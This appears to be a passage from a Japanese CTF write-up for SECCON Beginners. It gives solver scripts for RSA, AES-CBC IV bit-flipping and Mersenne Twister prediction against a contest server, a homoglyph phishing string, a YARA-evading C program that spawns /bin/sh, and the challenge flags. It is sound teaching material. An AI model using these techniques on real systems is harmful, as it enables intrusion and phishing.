cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] plaintext = [0] * len(cipher) for i in range(len(cipher)): for j in range(len(cipher)): for c in range(0x20, 0x80): if cipher[i] == (c + j) ** 2 + j: plaintext[j] = c print(bytes(plaintext))
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
PrimeParty [easy, 58 solves]
from Crypto.Util.number import * from secret import flag from functools import reduce from operator import mul bits = 256 flag = bytes_to_long(flag.encode()) assert flag.bit_length() == 455 GUESTS = [] def invite(p): global GUESTS if isPrime(p): print("[*] We have been waiting for you!!! This way, please.") GUESTS.append(p) else: print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.") print("-*-*-*-*-*-*-*-*-*-*-*-*-") invite(getPrime(bits)) invite(getPrime(bits)) invite(getPrime(bits)) invite(getPrime(bits)) for i in range(3): print("[*] Do you want to invite more guests?") num = int(input(" > ")) invite(num) n = reduce(mul, GUESTS) e = 65537 cipher = pow(flag, e, n) print("n =", n) print("e =", e) print("cipher =", cipher)
7個の素数によるRSAで、3個の素数をこちらで指定できます。大きい素数を使えばなんかうまく解けるのかな~と思ったんですが具体的にどう解けるのかよくわからなかったです。(想定解はそれでした)
自分は小さい素数pを用意すればあまり気にしないでmod pで考えられそうだと思ったので小さい素数a,b,cを用意してsageのCRTで復元しました。結果的に見れば遠回りでしたね。
from Crypto.Util.number import * n = 110544380959817374226645660776504537901697420621163082882949438786586863618774188118708024426441923525457983976652545618454350788796232809448828821118535587481104901895038293805873461492486588408210381654317945902217729026969218645012683005005622264109156098290348176726965296562676256602979202696732603489848284462851163561477281872754622117491453080809616630931693876913055587011882915117505024563866322667714949001017850476682160257971253294921720403997165388898036043353226133117365541022521033956609646194579894950999739 e = 65537 cipher = 94654663589270719552650487027771771677396564764746625427846343959613893852151417966781821414898470770492372693354685561466919160632012963124952750391744044682050800483236162603173662501107669928736324325013842313908648341877116451751689328085802476744563398745287363889933842937103127135023309676818648542640038890996487060094667954417527397986483257486659041794249164728802671858333246161821649182407683598303796319230342776267544570374581818807500840469316530002078820745592011679700059185926212944380621804540288233204242 a = 1445986295259648585203132354106987676786859310189430363575552676421941297 b = 1751184247523558403004256192774444910622277182348558014106912730597188567 c = 973836236185621735004821667397628627579264471592720331910707370191372503 # n1 = p1*p2*p3*p4*a*b*c # c = m^e mod n1 # c mod p = m^e mod p # c^-e mod p = m mod p assert n % (a * b * c) == 0 assert 240 * 3 > 455 ma = Integer(pow(cipher, pow(e, -1, (a-1)), a)) mb = Integer(pow(cipher, pow(e, -1, (b-1)), b)) mc = Integer(pow(cipher, pow(e, -1, (c-1)), c)) # print(ma) m = crt([ma, mb, mc], [a, b, c]) print(long_to_bytes(m))
ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}
Command [easy, 88 solves]
from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import isPrime from secret import FLAG, key import os def main(): while True: ... select = int(input('> ')) if select == 1: encrypt() elif select == 2: execute() elif select == 3: break else: pass print() def encrypt(): print('Available commands: fizzbuzz, primes, getflag') cmd = input('> ').encode() if cmd not in [b'fizzbuzz', b'primes', b'getflag']: print('unknown command') return if b'getflag' in cmd: print('this command is for admin') return iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) enc = cipher.encrypt(pad(cmd, 16)) print(f'Encrypted command: {(iv+enc).hex()}') def execute(): inp = bytes.fromhex(input('Encrypted command> ')) iv, enc = inp[:16], inp[16:] cipher = AES.new(key, AES.MODE_CBC, iv) try: cmd = unpad(cipher.decrypt(enc), 16) print(cmd) if cmd == b'fizzbuzz': fizzbuzz() elif cmd == b'primes': primes() elif cmd == b'getflag': getflag() except ValueError: pass def fizzbuzz(): ... def primes(): ... def getflag(): print(FLAG)
AES-CBCで暗号化されたコマンドのみを実行できるプログラムがサーバーで動いています。 getflagを実行したいですが、getflagを暗号化した結果を得られることができないので何とか復号文をgetflagにしたいです。 復号時には暗号文とivを渡すのですが、改竄に対して特に対策されていないのでivを改竄することで復号時の1ブロック目を好きな結果に変えることが可能です。
fizzbuzzを暗号化した結果を取得し、以下のプログラムを実行すると復号したときに結果がgetflagとなるように調整されたものが得られます。あとはそのまま復号させてやればgetflagが実行されるのでフラグが得られます。
from Crypto.Util.Padding import pad, unpad fizzbuzz = list(bytes.fromhex(input("Fizzbuzz token: "))) iv, enc = fizzbuzz[:16], fizzbuzz[16:] old_cmd = pad(b"fizzbuzz", 16) cmd = pad(b"getflag", 16) for i in range(len(old_cmd)): iv[i] ^= old_cmd[i] ^ cmd[i] print(bytes(iv+enc).hex())
ctf4b{b1tfl1pfl4ppers}
この攻撃、bit flipping attackって言うんですね(初めて知った)
Unpredictable Pad [medium, 35 solves]
以下のようなサーバーが動いています。
def main(): r = random.Random() for i in range(3): try: inp = int(input('Input to oracle: ')) if inp > 2**64: print('input is too big') return oracle = r.getrandbits(inp.bit_length()) ^ inp print(f'The oracle is: {oracle}') except ValueError: continue intflag = int(FLAG.encode().hex(), 16) encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length()) print(f'Encrypted flag: {encrypted_flag}')
要約すると、64bit以下のgetrandbits()を三回得られるので次のgetrandbitsを予測してくださいという問題です。
pythonのrandomは疑似乱数なので十分なサンプルがあれば予測が可能ですが、64bit×3ではとても足りません。どうするかというと、負の値に関してはチェックが入っていないのでクソデカ負値を入れれば大量のサンプルが得られるので、予測が可能です。
from pwn import * from randcrack import RandCrack from Crypto.Util.number import long_to_bytes, bytes_to_long import copy rc = RandCrack() # io = process(["python3", "chal.py"]) io = remote("unpredictable-pad.quals.beginners.seccon.jp", 9777) io.sendlineafter("Input to oracle: ", str(-2**(32*624)+1)) io.recvuntil("The oracle is: ") randval = int(io.readline()) ^ (-2**(32*624)+1) print(hex(randval)) mask = ((1 << 32) - 1) # https://github.com/AdityaVallabh/ctf-write-ups/blob/master/CSAW%20Finals%202018/Disastrous%20Security%20Apparatus/README.md for i in range(624): val = (randval >> (i * 32)) & mask # print(hex(val)) rc.submit(val) io.sendlineafter("Input to oracle: ", "0") rc.predict_getrandbits(0) io.sendlineafter("Input to oracle: ", "0") rc.predict_getrandbits(0) io.recvuntil("Encrypted flag: ") enc_flag = int(io.readline()) old_rc = rc for i in range(0x100): rc2 = copy.deepcopy(rc) flag = long_to_bytes(enc_flag ^ rc2.predict_getrandbits(i)) print(flag) if flag[:5] == "ctf4b": break
(このプログラムだと全文復号できなかったが、f4b{~
までは復号できたので問題なし)
ctf4b{M4y_MT19937_b3_w17h_y0u}
omni-RSA (未解決) [hard, 13 solves]
sをこねくり回してCopper smith's attackするやつだ!と察しがつきましたが式変形できるほどのcrypto筋がないので早々に諦めました。crypto筋をつけたい
misc
H2 [easy, 248 solves]
pcapとサーバーのソースコードが渡されます。
package main import ( "net/http" "log" "fmt" "golang.org/x/net/http2" "golang.org/x/net/http2/h2c" ) const SECRET_PATH = "<secret>" func main() { handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path == SECRET_PATH { w.Header().Set("x-flag", "<secret>") } w.WriteHeader(200) fmt.Fprintf(w, "Can you find the flag?\n") }) h2s := &http2.Server{} h1s := &http.Server{ Addr: ":8080", Handler: h2c.NewHandler(handler, h2s), } log.Fatal(h1s.ListenAndServe()) }
x-flag
ヘッダにフラグがあるらしいので、x-flag
ヘッダが付いているパケットを探せば良さそうです。
Wireshark力がなく特定のヘッダについて検索できるクエリを知らなかったので、http2.header.countが他と違うものを探すようにすると見つかりました。
ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
phisher [easy, 238 solves]
ホモグラフ攻撃を体験してみましょう。 心配しないで!相手は人間ではありません。
OCRでwww.example.com
と認識され、一文字もwww.example.com
中の文字を使っていない文字列を入れるとフラグが得られます。Homoglyph Attack Generator and Punycode Converter を使ってガチャガチャしてると解けました。最終的な文字列はŵŵŵ․ехаⅿрⅼе․сοⅿ
です。
ctf4b{n16h7_ph15h1n6_15_600d}
hitchhike4b [medium, 125 solves]
import os os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021) if __name__ == "__main__": flag1 = "********************FLAG_PART_1********************" help() # I need somebody ... if __name__ != "__main__": flag2 = "********************FLAG_PART_2********************" help() # Not just anybody ...
Pythonのhelp()内からflag1, flag2を読めというチャレンジです。help()はmoduleの情報を表示できそうなので、現在実行しているモジュールを指す__main__
にアクセスするとflag1を得られました。
help> __main__ Help on module __main__: NAME __main__ DATA __annotations__ = {} flag1 = 'ctf4b{53cc0n_15_1n_m' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
flag2は__name__ != "__main__"
を満たすように外部からモジュールから呼び出す必要があります。先程得られたapp_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
を入力するとモジュールとして呼び出すことができたので、再度app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
を入力するとモジュールの情報が出力されflag2が得られました。
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc ... Welcome to Python 3.10's help utility! ... help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc: NAME app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc DATA flag2 = 'y_34r5_4nd_1n_my_3y35}' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}
ultra_super_miracle_validator [easy, 40 solves]
rule MalElf { meta: description = "Malicious ELF binary" strings: $x1 = {e3 82 89 e3 81 9b e3 82 93 e9 9a 8e e6 ae b5} ... $x40 = {2b 65 64 67 2d 2b 57 38 59 2d 2b 4d 47 34 2d 2b 64 6f 63 2d} condition: not (($x1 or $x6 or $x12 or not $x21 or $x32) and ($x3 or $x5 or not $x11 or $x24 or $x35) and (not $x3 or $x31 or $x40 or $x9 or $x27) and ($x4 or $x8 or $x10 or $x29 or $x40) and ($x4 or $x7 or $x11 or $x25 or not $x36) and ($x8 or $x14 or $x18 or $x21 or $x38) and ($x12 or $x15 or not $x20 or $x30 or $x35) and ($x19 or $x21 or not $x32 or $x33 or $x39) and ($x2 or $x37 or $x19 or not $x23) and (not $x5 or $x14 or $x23 or $x30) and (not $x5 or $x8 or $x18 or $x23) and ($x33 or $x22 or $x4 or $x38) and ($x2 or $x20 or $x39) and ($x3 or $x15 or not $x30) and ($x6 or not $x17 or $x30) and ($x8 or $x29 or not $x21) and (not $x16 or $x1 or $x29) and ($x20 or $x10 or not $x5) and (not $x13 or $x25) and ($x21 or $x28 or $x30) and not $x2 and $x3 and not $x7 and not $x10 and not $x11 and $x14 and not $x15 and not $x22 and $x26 and not $x27 and $x34 and $x36 and $x37 and not $x40) }
このyaraルールに弾かれないCのプログラムを書けという問題です。とりあえず脳死で条件式を反転させてz3にぶち込みます。(こういうのを書くときは正規表現での置換が便利)
from z3 import * x_byte = [[] for i in range(41)] s = Solver() x_byte[1] = [0xe3, 0x82, 0x89, 0xe3, 0x81, 0x9b, 0xe3, 0x82, 0x93, 0xe9, 0x9a, 0x8e, 0xe6, 0xae, 0xb5] x_byte[2] = [0xe3, 0x82, 0xab, 0xe3, 0x83, 0x96, 0xe3, 0x83, 0x88, 0xe8, 0x99, 0xab] ... for i in range(len(x_byte)): x_byte[i] = bytes(x_byte[i]) # print(i, x_byte[i]) x = [Bool(f"x{i}") for i in range(41)] a = And(Or(x[1], x[6], x[12], Not(x[21]), x[32]), Or(x[3], x[5], Not(x[11]), x[24], x[35]), ...) s.add(a) while s.check() == sat: print(s) m = s.model() # print(m) a = b"" for i, xi in enumerate(x): if m[xi]: a += x_byte[i] b = "" for c in a: b += f"0x{c:02x}, " print(b) s.add(And([xi == m[xi] for xi in x]))
実行してみると、条件を満たす組み合わせは一つしか見つかりませんでした。つまりそれらのバイト列を含んだバイナリを吐くCプログラムを書けばよいので、以下のようなCプログラムを入力するとフラグが得られました。
char a[9999] = {0xe5, ... 0x2b}; int main(void){system("/bin/sh");}
ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}
感想
ctf4bのwriteupってCTF初見の人も全部わかるように書くのがよいのだろうけど、それやるとこれ以上にwriteupが長くなるのでやめました。そのような人がいたら申し訳ないです。
トークライブでは今回は易化していると言われていましたが個人的には前回と比べて簡単な問題が減っているように感じました。しかし、簡単な問題を面白く作るというのは非常に難しいので作問陣も苦労してそうですね... (一回教育的な良い問題が出ると、その問題がどうしても壁になる問題もある)
久しぶりのCTFなので一応全完する意気込みで挑戦したのですが、pwnとcryptoで2問残しという結果になりました。miscが2問残った去年と比べると主要ジャンルを落としている分ちょっと悪い結果なのかなと思います。来年こそは全完したいですね...